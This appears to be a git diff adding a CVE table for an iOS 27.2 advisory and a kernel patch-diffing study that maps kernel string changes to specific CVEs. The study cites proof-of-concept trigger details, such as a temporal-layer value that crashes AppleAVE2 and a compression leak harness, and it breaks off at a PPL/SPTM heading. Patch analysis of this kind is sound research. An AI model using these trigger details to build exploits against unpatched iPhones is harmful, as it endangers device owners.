"XNU 内核": "XNU kernel", "XNU 内核": "XNU kernel",
"新收录": "New arrivals",
"archive_read_new 失败": "archive_read_new failed", "archive_read_new 失败": "archive_read_new failed",
"audioCustom 事件已投递": "audioCustom event delivered", "audioCustom 事件已投递": "audioCustom event delivered",
"caret 坐标: ": "caret positions: ", "caret 坐标: ": "caret positions: ",
+168
View File
@@ -0,0 +1,168 @@
# iOS 27.2 advisory — all entries
162 CVEs across 67 components. Source: Apple security advisory 149230 (iOS 27.2 / iPadOS 27.2, 2026-10-26).
| CVE | Component | Impact | Description | Binary candidate |
|---|---|---|---|---|
| CVE-2026-112466 | AVEVideoEncoder | An app may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved input validation. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-112468 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-112469 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-112470 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-112689 | AVEVideoEncoder | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved input validation. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-112705 | AVEVideoEncoder | An app may be able to cause unexpected system termination | An out-of-bounds write issue was addressed with improved bounds checking. | com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin |
| CVE-2026-86971 | Accelerate Framework | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | Accelerate |
| CVE-2026-84493 | AccessorySetupKit | A malicious app may be able to access Bluetooth without user consent | An authentication issue was addressed with improved state management. | AccessorySetupKit |
| CVE-2026-112446 | Accounts | An app may be able to access sensitive user data | This issue was addressed with additional entitlement checks. | Accounts |
| CVE-2026-112612 | Accounts | An attacker with physical access to a trust-paired device may be able to read and write arbitrary files | A path handling issue was addressed with improved validation. | Accounts |
| CVE-2026-113898 | Accounts | A malicious application may be able to bypass Privacy preferences | A logging issue was addressed with improved data redaction. | Accounts |
| CVE-2026-112692 | App Intents | An app may be able to access sensitive user data | This issue was addressed with additional entitlement checks. | AppIntents |
| CVE-2026-112690 | App Store | A remote attacker may be able to break out of the WebContent sandbox | This issue was addressed with improved input validation. | AppStore |
| CVE-2026-113914 | App Store | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | AppStore |
| CVE-2026-86987 | Apple Intelligence | A remote attacker may be able to access sensitive user data | An authorization issue was addressed with improved entitlement checks. | AppleIntelligence |
| CVE-2026-112696 | Apple Neural Engine | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | AppleH16ANEInterface / AppleNeuralEngine.framework |
| CVE-2026-84494 | Apple Neural Engine | An app may be able to cause unexpected system termination or write kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | AppleH16ANEInterface / AppleNeuralEngine.framework |
| CVE-2026-112415 | AppleAVD | An app may be able to cause unexpected system termination or corrupt process memory | An out-of-bounds write was addressed with improved input validation. | ? |
| CVE-2026-112416 | AppleAVD | Processing a maliciously crafted video file may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
| CVE-2026-112454 | AppleAVD | Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory | The issue was addressed with improved memory handling. | ? |
| CVE-2026-112546 | Audio | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | AudioToolbox / AudioCodecs |
| CVE-2026-112566 | Bluetooth | An attacker in physical proximity may be able to cause a denial-of-service | A null pointer dereference was addressed with improved validation. | Bluetooth.framework / IOBluetooth kexts |
| CVE-2026-113906 | Bluetooth | An attacker in physical proximity may be able to cause a denial-of-service | A null pointer dereference was addressed with improved validation. | Bluetooth.framework / IOBluetooth kexts |
| CVE-2026-112619 | Calendar | Processing a maliciously crafted calendar invitation may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CalendarFoundation |
| CVE-2026-112678 | Calendar | An app may be able to access sensitive user data | A permissions issue was addressed with additional restrictions. | CalendarFoundation |
| CVE-2026-112701 | CloudKit | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | CloudKit |
| CVE-2026-86988 | ColorSync | Processing a maliciously crafted image may result in disclosure of process memory | The issue was addressed with improved checks. | ColorSync |
| CVE-2026-113910 | Compression | An app may be able to disclose kernel memory | A memory initialization issue was addressed with improved memory handling. | libcompression.dylib |
| CVE-2026-113908 | Contacts | An app may be able to access sensitive user data | A privacy issue was addressed by removing sensitive data. | Contacts |
| CVE-2026-112638 | CoreAudio | An attacker in radio range may be able to cause unexpected system termination | A heap buffer overflow was addressed with improved bounds checking. | CoreAudio.framework / AudioToolbox |
| CVE-2026-113907 | CoreAudio | An app may be able to cause unexpected system termination or corrupt process memory | A buffer overflow issue was addressed with improved memory handling. | CoreAudio.framework / AudioToolbox |
| CVE-2026-113912 | CoreAudio | Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory | An out-of-bounds access issue was addressed with improved bounds checking. | CoreAudio.framework / AudioToolbox |
| CVE-2026-86969 | CoreAudio | An app may be able to cause unexpected system termination or corrupt kernel memory | An out-of-bounds write was addressed with improved input validation. | CoreAudio.framework / AudioToolbox |
| CVE-2026-86972 | CoreAudio | Processing a maliciously crafted audio file may lead to memory corruption | A buffer overflow was addressed with improved size validation. | CoreAudio.framework / AudioToolbox |
| CVE-2026-112610 | CoreGraphics | Processing a maliciously crafted PDF file may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
| CVE-2026-112611 | CoreGraphics | Processing a maliciously crafted PDF file may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
| CVE-2026-113950 | CoreGraphics | Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | CoreGraphics.framework |
| CVE-2026-112688 | CoreMedia | Parsing a file may lead to an unexpected app termination or arbitrary code execution | A memory corruption issue was addressed with improved memory handling. | CoreMedia.framework / mediaplaybackd |
| CVE-2026-112706 | CoreMedia | An app may be able to access sensitive user data | A permissions issue was addressed with additional restrictions. | CoreMedia.framework / mediaplaybackd |
| CVE-2026-86990 | CoreMedia | A malicious app may be able to access the camera without user permission | An access issue was addressed with improved access restrictions. | CoreMedia.framework / mediaplaybackd |
| CVE-2026-86992 | CoreMedia | Processing a maliciously crafted video file may lead to unexpected app termination | The issue was addressed with improved memory handling. | CoreMedia.framework / mediaplaybackd |
| CVE-2026-112656 | CoreText | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | CoreText.framework |
| CVE-2026-113896 | FileProvider | An app may be able to access sensitive user data | A race condition was addressed with additional validation. | FileProvider |
| CVE-2026-112618 | Files | An app may be able to access sensitive user data | An access issue was addressed with improved access restrictions. | Files |
| CVE-2026-112432 | FontParser | An app may be able to access sensitive user data | A logging issue was addressed with improved data redaction. | FontParser.framework |
| CVE-2026-112642 | FontParser | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | FontParser.framework |
| CVE-2026-112683 | FontParser | Processing a maliciously crafted font may lead to unexpected app termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | FontParser.framework |
| CVE-2026-86970 | FontParser | Processing a maliciously crafted font may result in the disclosure of process memory | An out-of-bounds read was addressed with improved input validation. | FontParser.framework |
| CVE-2026-112456 | HFS | Processing a maliciously crafted file may lead to heap corruption | An out-of-bounds write issue was addressed with improved input validation. | com.apple.filesystems.hfs.kext |
| CVE-2026-112518 | Heimdal | An attacker in a privileged network position may be able to impersonate a Kerberos KDC | An issue with signature validation was addressed with improved checks. | Heimdal (Kerberos) |
| CVE-2026-112596 | HomeKit | Processing a maliciously crafted video file may lead to unexpected system termination | An integer overflow was addressed with improved bounds checking. | HomeKit |
| CVE-2026-86978 | HomeKit | An app may be able to access sensitive user data | This issue was addressed with improved checks. | HomeKit |
| CVE-2026-112515 | IOHIDFamily | An attacker may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | com.apple.iokit.IOHIDFamily |
| CVE-2026-65385 | IOKit | A buffer overflow may result in memory corruption and unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | IOKit.framework / IOKit kexts |
| CVE-2026-112459 | IOMobileFrameBuffer | An app may be able to cause unexpected system termination or corrupt kernel memory | A race condition was addressed with improved state handling. | com.apple.driver.IOMobileFrameBuffer |
| CVE-2026-112554 | IOStorageFamily | An app may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | com.apple.iokit.IOStorageFamily |
| CVE-2026-112477 | IOSurface | An app may be able to cause unexpected system termination or corrupt kernel memory | A race condition was addressed with improved locking. | IOSurface.framework / IOSurface kext |
| CVE-2026-112488 | ImageIO | Processing a maliciously crafted image may corrupt process memory | A buffer overflow issue was addressed with improved memory handling. | ImageIO.framework |
| CVE-2026-112561 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112571 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | A memory initialization issue was addressed with improved memory handling. | ImageIO.framework |
| CVE-2026-112614 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112625 | ImageIO | Processing a maliciously crafted image may result in memory corruption | An integer underflow was addressed with improved input validation. | ImageIO.framework |
| CVE-2026-112627 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112629 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112630 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An uninitialized memory issue was addressed with improved memory handling. | ImageIO.framework |
| CVE-2026-112632 | ImageIO | Processing a maliciously crafted image may result in disclosure of process memory | An uninitialized memory issue was addressed with improved memory handling. | ImageIO.framework |
| CVE-2026-112633 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112634 | ImageIO | Processing a maliciously crafted image may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ImageIO.framework |
| CVE-2026-112474 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112476 | Kernel | An app may be able to cause unexpected system termination | An out-of-bounds read was addressed with improved bounds checking. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112501 | Kernel | An app may be able to cause unexpected system termination | A race condition was addressed with improved state handling. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112507 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | An out-of-bounds write issue was addressed with improved bounds checking. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112514 | Kernel | An attacker may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112516 | Kernel | An app may be able to cause unexpected system termination | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112517 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use after free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112576 | Kernel | An app may be able to cause unexpected changes to copy-on-write memory | A memory integrity issue was addressed with improved handling of copy-on-write pages. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112606 | Kernel | An app may be able to cause unexpected system termination | A type confusion issue was addressed with improved memory handling. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112624 | Kernel | An app may be able to bypass Privacy preferences | This issue was addressed with improved checks. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112665 | Kernel | An app may be able to determine kernel memory layout | An information disclosure issue was addressed with improved state management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112679 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112698 | Kernel | An app may be able to cause unexpected system termination | The issue was addressed with improved memory handling. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-65350 | Kernel | An app may be able to cause unexpected system termination or corrupt kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-84495 | Kernel | An app may be able to cause unexpected system termination or write kernel memory | A use-after-free issue was addressed with improved memory management. | kernelcache core (pmap/ipc/vm/bsd) |
| CVE-2026-112621 | LinkPresentation | Processing a maliciously crafted image may result in memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | LinkPresentation.framework |
| CVE-2026-112414 | Mail | Processing a maliciously crafted message may lead to a denial-of-service | A stack overflow was addressed with improved input validation. | Mail |
| CVE-2026-112671 | Mail | A remote attacker may be able to cause a denial-of-service | A resource exhaustion issue was addressed with improved input validation. | Mail |
| CVE-2026-112707 | Maps | An app may be able to identify what other apps a user has installed | A privacy issue was addressed by moving sensitive data to a protected location. | Maps |
| CVE-2026-113915 | MediaAnalysis | An app may be able to access sensitive user data | A race condition was addressed with additional validation. | MediaAnalysis |
| CVE-2026-112687 | MediaRemote | An attacker on the local network may be able to cause unexpected system termination or corrupt process memory | This issue was addressed by removing the vulnerable code. | MediaRemote |
| CVE-2026-112682 | Messages | A remote attacker may be able to cause unexpected app termination | An input validation issue was addressed with improved input validation. | Messages / IMSharedUtilities |
| CVE-2026-86989 | MobileGestalt | An app may be able to fingerprint the user | An authorization issue was addressed with improved state management. | MobileGestalt |
| CVE-2026-112413 | Model I/O | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | ? |
| CVE-2026-112449 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An integer overflow was addressed with improved input validation. | ? |
| CVE-2026-112461 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
| CVE-2026-112485 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | The issue was addressed with improved memory handling. | ? |
| CVE-2026-112486 | Model I/O | Processing a 3D model may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | ? |
| CVE-2026-112565 | Model I/O | Processing a maliciously crafted 3D model may lead to memory corruption | An integer overflow was addressed with improved input validation. | ? |
| CVE-2026-112660 | Photos Storage | An app may be able to bypass certain Privacy preferences | An authorization issue was addressed with improved state management. | Photos |
| CVE-2026-112676 | Photos Storage | An app may be able to access a user's Photos Library | This issue was addressed with additional entitlement checks. | Photos |
| CVE-2026-65397 | Photos Storage | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Photos |
| CVE-2026-112681 | Power Management | An app may be able to fingerprint the user | This issue was addressed with additional entitlement checks. | com.apple.driver.AppleARMPlatform / PM kexts |
| CVE-2026-86925 | Quick Look | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | QuickLook |
| CVE-2026-112491 | RealityKit | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds read was addressed with improved bounds checking. | RealityKit |
| CVE-2026-112547 | ReplayKit | An app may be able to access sensitive user data | A type confusion issue was addressed with improved checks. | ReplayKit |
| CVE-2026-112609 | Safety Check | An app may be able to access sensitive user data | This issue was addressed with improved checks. | SafetyCheck |
| CVE-2026-112423 | SceneKit | Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents | An out-of-bounds read was addressed with improved bounds checking. | SceneKit |
| CVE-2026-112425 | SceneKit | Processing a 3D model may result in disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | SceneKit |
| CVE-2026-112464 | SceneKit | Processing a maliciously crafted file may lead to heap corruption | An out-of-bounds write issue was addressed with improved input validation. | SceneKit |
| CVE-2026-86991 | SceneKit | Processing a maliciously crafted file may lead to unexpected process termination | A buffer overflow was addressed with improved bounds checking. | SceneKit |
| CVE-2026-112616 | Screen Time | An app may be able to access sensitive user data | An authorization issue was addressed with improved access control. | ScreenTime |
| CVE-2026-112652 | Security | An malicious app may be able to bypass certificate validation | A logic issue was addressed with improved state management. | Security.framework |
| CVE-2026-113913 | Security | Processing web content may disclose sensitive information | An input validation issue was addressed with improved input validation. | Security.framework |
| CVE-2026-112455 | Shortcuts | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Shortcuts |
| CVE-2026-112559 | Shortcuts | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Shortcuts |
| CVE-2026-112658 | Siri | An app may be able to access sensitive user data | This issue was addressed with improved input validation. | Siri |
| CVE-2026-112685 | Siri | An app may be able to access sensitive user data | An authorization issue was addressed with improved state management. | Siri |
| CVE-2022-26704 | Spotlight | An app may be able to gain elevated privileges | A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks. | Spotlight |
| CVE-2026-112567 | Spotlight | A malicious application may be able to bypass Privacy preferences | This issue was addressed with improved checks. | Spotlight |
| CVE-2026-112628 | Spotlight | An app may be able to access sensitive user data | This issue was addressed with improved data access restriction. | Spotlight |
| CVE-2026-112646 | SpringBoard | An app may be able to cause unexpected system termination or corrupt process memory | An out-of-bounds write issue was addressed with improved bounds checking. | SpringBoard |
| CVE-2026-112691 | SwiftUI | An app may be able to cause unexpected system termination | An out-of-bounds write issue was addressed with improved input validation. | SwiftUI |
| CVE-2026-86968 | System Preferences | A malicious app may be able to access restricted system interfaces or launder launch attribution | An access issue was addressed with improved access control. | SystemPreferences |
| CVE-2026-84605 | TextKit | An app may be able to read the device's name | An authorization issue was addressed with improved state management. | TextKit |
| CVE-2026-112595 | Thread | An attacker in physical proximity may be able to craft malicious network traffic to gain access to a Thread network | This issue was addressed with improved authentication. | ThreadNetwork.framework |
| CVE-2026-112479 | USB | A malicious USB device may be able to cause unexpected system termination or read kernel memory | An out-of-bounds read was addressed with improved bounds checking. | USB kexts |
| CVE-2026-112599 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112615 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112623 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112640 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112651 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112653 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112654 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112655 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112659 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A type confusion issue was addressed with improved memory handling. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112666 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112669 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A race condition was addressed with improved state handling. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112673 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A type confusion issue was addressed with improved state handling. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112680 | WebKit | Processing maliciously crafted web content may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112684 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | This issue was addressed through improved state management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112686 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A race condition was addressed with improved locking. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112693 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112695 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112697 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112699 | WebKit | Processing maliciously crafted web content may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-113903 | WebKit | Processing maliciously crafted web content may lead to unexpected memory modification | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-113904 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-113949 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A type confusion issue was addressed with improved state management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-113952 | WebKit | A website may be able to use a media format that should be restricted in Lockdown Mode | A logic issue was addressed with improved checks. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-86974 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A type confusion issue was addressed with improved checks. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-86985 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | This issue was addressed with improved input validation. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-86986 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
| CVE-2026-112637 | WebKit Canvas | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | WebCore (canvas) |
| CVE-2026-112626 | WebKit JavaScript Bindings | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore bindings |
| CVE-2026-112639 | WebKit Process Model | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | WebKit process model |
| CVE-2026-113897 | WebKit Process Model | A remote attacker may be able to break out of Web Content sandbox | This issue was addressed by removing the vulnerable code. | WebKit process model |
| CVE-2026-113901 | WebRTC | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | WebRTC.framework |
| CVE-2026-86973 | WebRTC | Processing maliciously crafted web content may lead to an unexpected process crash | An out-of-bounds read was addressed with improved bounds checking. | WebRTC.framework |
| CVE-2026-112620 | Wi-Fi | An attacker in a privileged network position may be able to cause a denial-of-service | A denial-of-service issue was addressed with improved input validation. | WiFi frameworks / IO80211 kext |
| CVE-2026-112622 | Wi-Fi | An attacker in radio range may be able to cause unexpected system termination | An out-of-bounds read was addressed with improved bounds checking. | WiFi frameworks / IO80211 kext |
| CVE-2026-113909 | Wi-Fi | An attacker in physical proximity may be able to corrupt process memory | A memory corruption issue was addressed with improved input validation. | WiFi frameworks / IO80211 kext |
| CVE-2026-112522 | libarchive | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | libarchive.2.dylib |
| CVE-2026-112607 | mDNSResponder | A remote attacker may be able to leak memory | An out-of-bounds read was addressed with improved bounds checking. | mDNSResponder |
+196
View File
@@ -0,0 +1,196 @@
# iOS 27.2 kernel differential — 27.0.1 vs 27.2 (iPhone19,7)
Scope: the iOS 27.2 security update (24B119) against 27.0.1 (24A446) for iPhone 18
Pro Max (`iPhone19,7`). The question: what does the update actually change in the
kernel, which of the 162 advisory CVEs can be tied to a fix site, and does anything
in the diff look like a PPL / SPTM / MIE bypass.
## How the images were obtained
Both restore images are the production IPSWs from Apple's CDN:
| Build | Version | Size | Kernelcache member |
|---|---|---|---|
| 24A446 | 27.0.1 | 12,728,434,807 B | `kernelcache.release.v6x-pandia` |
| 24B119 | 27.2 | 13,722,855,612 B | `kernelcache.release.v6x-pandia` |
The kernelcache was pulled straight out of the ZIP with HTTP Range requests, so the
analysis did not wait for the full 26 GB. The container is IM4P; the payload is LZFSE.
| Build | Kernelcache (decoded) | SHA-256 (first 16) |
|---|---|---|
| 27.0.1 | 78,315,520 B | `dec73956a9a443c5` |
| 27.2 (v6x-pandia) | 78,675,968 B | `1aaf47dbc73650e3` |
Both are `MH_FILESET` images with a `__DATA_SPTM` segment, carrying 303 (27.0.1)
and 304 (27.2) fileset entries. One kext is new: `com.apple.driver.ApplePencilDriver`;
none were removed.
27.2 ships three kernelcaches (`v63`, `v64`, `v6x-pandia`); iPhone19,7 uses
`v6x-pandia` (member SHA-256 `0777eb09…`). The numbers and addresses below are
from that member, not from the first kernelcache in the ZIP.
## Reading the diff
Raw text-segment hashes are useless here: the fileset is relinked, so branch
displacements and absolute literal pools move in almost every kext even when the
code is unchanged. The diff therefore keys on:
1. `__TEXT_EXEC` size change (layout-independent),
2. `__cstring` / `__oslogstring` set difference (new checks usually add a message),
3. `llvm-objdump` instruction diff for the kexts that survive both filters.
93 of 303 common kexts changed text size (v6x-pandia). The largest are the ones the advisory
points at:
| Delta | Kext | Advisory component |
|---|---|---|
| +115,472 | `com.apple.driver.ASIOKit` | IOKit / audio |
| +39,624 | `com.apple.driver.AppleH16ANEInterface` | Apple Neural Engine |
| +29,376 | `com.apple.kernel` | Kernel |
| +16,080 | `com.apple.driver.AppleAVE2` | AVEVideoEncoder |
| +9,572 | `com.apple.driver.FairPlayIOKit` | Security |
| +9,316 | `com.apple.driver.AppleDisplayCrossbar` | IOMobileFrameBuffer |
| +8,304 | `com.apple.AGXG19P` | GPU |
| +4,712 | `com.apple.driver.AppleMobileDispH19P-DCP` | IOMobileFrameBuffer |
| +4,480 | `com.apple.driver.RTBuddy` | Kernel / RTKit |
| +4,152 | `com.apple.driver.AppleSARService` | Kernel |
## Fix sites that are confirmed by strings
### CVE-2026-112705 — AppleAVE2 temporal layers
27.2 adds the upper bound that 27.0.1 lacks:
```
number of temporal layers (prop) is out of range %d %d %d
0 <= pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers
&& pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers <= 7
0 < pInfo->sSessionCfg.sEnc.sAlgCfg.sGOP.iNumOfTemporalLayer
&& (... <= 7)
AVE_HEVC_CheckVPSExtBounds
HEVC VPS vps_max_layers_minus1 is out of range
HEVC VPS layer_id_in_nuh is out of range
HEVC VPS layer-set total is out of range
```
The property is now clamped to **0…7**. The trigger in the 27.0.1 dossier
(`NumberOfTemporalLayers = 16463`, first frame → AppleAVE2 +0xDA78) is exactly the
value this assertion rejects. A `--sweep` mode was added to both POCs: it sets
0…12 and submits no frame. On macOS 27.0 it accepts 1…12 (and 16463); on 27.2 the
>7 rungs must return an error.
### CVE-2026-113910 — decmpfs chunked zlib
27.2 adds the produced-vs-expected check in
`AppleFSCompression/Common/ChunkCompression.cpp`:
```
%s:%d: chunk %u produced %lld of %lld expected bytes
```
That is the exact under-production condition the leak harness drives. The C POC's
`--loop` / `--keep` collector now sits on a documented fix site.
### CVE-2026-112507 — ipc_port request table
27.2 adds the checks the 27.0.1 code was missing:
```
ipr != ((void*)0)
table != ((void*)0)
ipc_misc.c
```
This is a **NULL-check fix**, not a reclaimable-object fix. It matches the device
result already recorded: `mach_port_request_notification` returns -300
(MIG_TYPE_ERROR) for every type/right combination, 0 of 12,288 registrations armed,
so the request-table path is never entered from an unentitled app.
### Other kernel changes
The core kernel gains 62 meaningful strings (build paths and UUIDs excluded). The
security-relevant ones:
- `VM entry %p lock shared lock overflow` — a new vm_map lock-overflow panic,
consistent with the COW / vm_map CVEs (112474 / 112576).
- `Page modified after framebank withdraw %p` — page-lifecycle check.
- `size <= sdl->sdl_alen` — sockaddr_dl bounds check in the network stack.
- `speculative_pages_freed` / `_demoted` / `_requeued_inactive` — pageout counters.
- `FilterDropBadDirection`, `nx_netif_filter_pkt_to_mbuf`, `pktap != NULL`,
`ret == TB_ERROR_SUCCESS` — network filter validation.
- `ipr != NULL`, `table != NULL`, `ipc_misc.c` — the 112507 fix.
- New entitlements: `com.apple.private.verified-jit-mode`,
`com.apple.private.vfs.unmunged-access-time`, `com.apple.security.cs.debugger`.
These line up with the 15 Kernel entries in the advisory (UAF, OOB read/write, race,
type confusion, COW integrity, kernel-layout disclosure). The advisory does not
assign individual functions, so the mapping above is evidence-based, not a
per-CVE signature.
## PPL / SPTM / MIE
